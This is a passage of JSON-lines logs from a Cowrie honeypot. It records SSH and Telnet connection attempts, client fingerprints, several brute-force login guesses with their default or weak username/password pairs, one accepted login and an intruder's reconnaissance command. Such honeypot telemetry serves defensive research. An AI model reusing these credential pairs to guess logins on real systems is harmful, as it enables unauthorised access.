{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:39.176732Z","src_ip":"80.66.85.226","session":"d77576b146f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:40.182089Z","src_ip":"192.109.200.237","session":"c4b15686efcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56026,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ede1767e3e","protocol":"ssh","message":"New connection: 192.109.200.237:56026 (159.203.135.109:22) [session: b9ede1767e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:42.245891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:42.306051Z","src_ip":"192.109.200.237","session":"b9ede1767e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:42.333103Z","src_ip":"192.109.200.237","session":"b9ede1767e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.57847499847412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:42.378670Z","src_ip":"50.6.8.71","session":"987517c91ff6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:42.655192Z","src_ip":"192.109.200.237","session":"b9ede1767e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:43.740557Z","src_ip":"192.109.200.237","session":"b9ede1767e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54730,"dst_ip":"10.17.0.5","dst_port":23,"session":"82594a0f3ee0","protocol":"telnet","message":"New connection: 50.6.8.71:54730 (10.17.0.5:23) [session: 82594a0f3ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:44.257386Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.118","src_port":54880,"dst_ip":"159.203.135.109","dst_port":22,"session":"23040a67134a","protocol":"ssh","message":"New connection: 103.27.238.118:54880 (159.203.135.109:22) [session: 23040a67134a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:44.678452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:44.686619Z","src_ip":"103.27.238.118","session":"23040a67134a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:44.940028Z","src_ip":"103.27.238.118","session":"23040a67134a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazzaq1","message":"login attempt [root/1qazzaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:45.701976Z","src_ip":"103.27.238.118","session":"23040a67134a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56042,"dst_ip":"159.203.135.109","dst_port":22,"session":"291e55ed03e5","protocol":"ssh","message":"New connection: 192.109.200.237:56042 (159.203.135.109:22) [session: 291e55ed03e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:45.726215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:45.731088Z","src_ip":"192.109.200.237","session":"291e55ed03e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:45.815062Z","src_ip":"192.109.200.237","session":"291e55ed03e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:46.068786Z","src_ip":"192.109.200.237","session":"291e55ed03e5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:46.292506Z","src_ip":"192.109.200.237","session":"291e55ed03e5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:46.295991Z","src_ip":"192.109.200.237","session":"291e55ed03e5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:46.406357Z","src_ip":"192.109.200.237","session":"291e55ed03e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:46.411582Z","src_ip":"192.109.200.237","session":"291e55ed03e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":35440,"dst_ip":"10.17.0.5","dst_port":22,"session":"1390e8325236","protocol":"ssh","message":"New connection: 103.149.170.125:35440 (10.17.0.5:22) [session: 1390e8325236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:46.526795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:46.532644Z","src_ip":"103.149.170.125","session":"1390e8325236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:46.792708Z","src_ip":"103.149.170.125","session":"1390e8325236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:46.958566Z","src_ip":"103.27.238.118","session":"23040a67134a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweqwe","message":"login attempt [root/123qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:48.158709Z","src_ip":"103.149.170.125","session":"1390e8325236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56048,"dst_ip":"159.203.135.109","dst_port":22,"session":"52e83a9c456b","protocol":"ssh","message":"New connection: 192.109.200.237:56048 (159.203.135.109:22) [session: 52e83a9c456b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:49.162470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:49.168966Z","src_ip":"192.109.200.237","session":"52e83a9c456b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:49.253942Z","src_ip":"192.109.200.237","session":"52e83a9c456b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:49.432785Z","src_ip":"103.149.170.125","session":"1390e8325236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:49.544399Z","src_ip":"192.109.200.237","session":"52e83a9c456b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:50.629058Z","src_ip":"192.109.200.237","session":"52e83a9c456b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.08456492424011,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:51.200717Z","src_ip":"50.6.8.71","session":"895842618c21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60336,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ce2b02a7a0b","protocol":"ssh","message":"New connection: 192.109.200.237:60336 (159.203.135.109:22) [session: 7ce2b02a7a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:52.729940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:52.734423Z","src_ip":"192.109.200.237","session":"7ce2b02a7a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:52.816841Z","src_ip":"192.109.200.237","session":"7ce2b02a7a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.234824180603027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:52.993091Z","src_ip":"50.6.8.71","session":"c60a550e835a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:53.064845Z","src_ip":"192.109.200.237","session":"7ce2b02a7a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:54.150460Z","src_ip":"192.109.200.237","session":"7ce2b02a7a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60350,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c64fa6fde33","protocol":"ssh","message":"New connection: 192.109.200.237:60350 (159.203.135.109:22) [session: 3c64fa6fde33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:56.254302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:56.258941Z","src_ip":"192.109.200.237","session":"3c64fa6fde33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:56.340960Z","src_ip":"192.109.200.237","session":"3c64fa6fde33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:56.589637Z","src_ip":"192.109.200.237","session":"3c64fa6fde33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:57.675169Z","src_ip":"192.109.200.237","session":"3c64fa6fde33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60368,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d2897421b40","protocol":"ssh","message":"New connection: 192.109.200.237:60368 (159.203.135.109:22) [session: 9d2897421b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:59.689847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:59.808268Z","src_ip":"192.109.200.237","session":"9d2897421b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.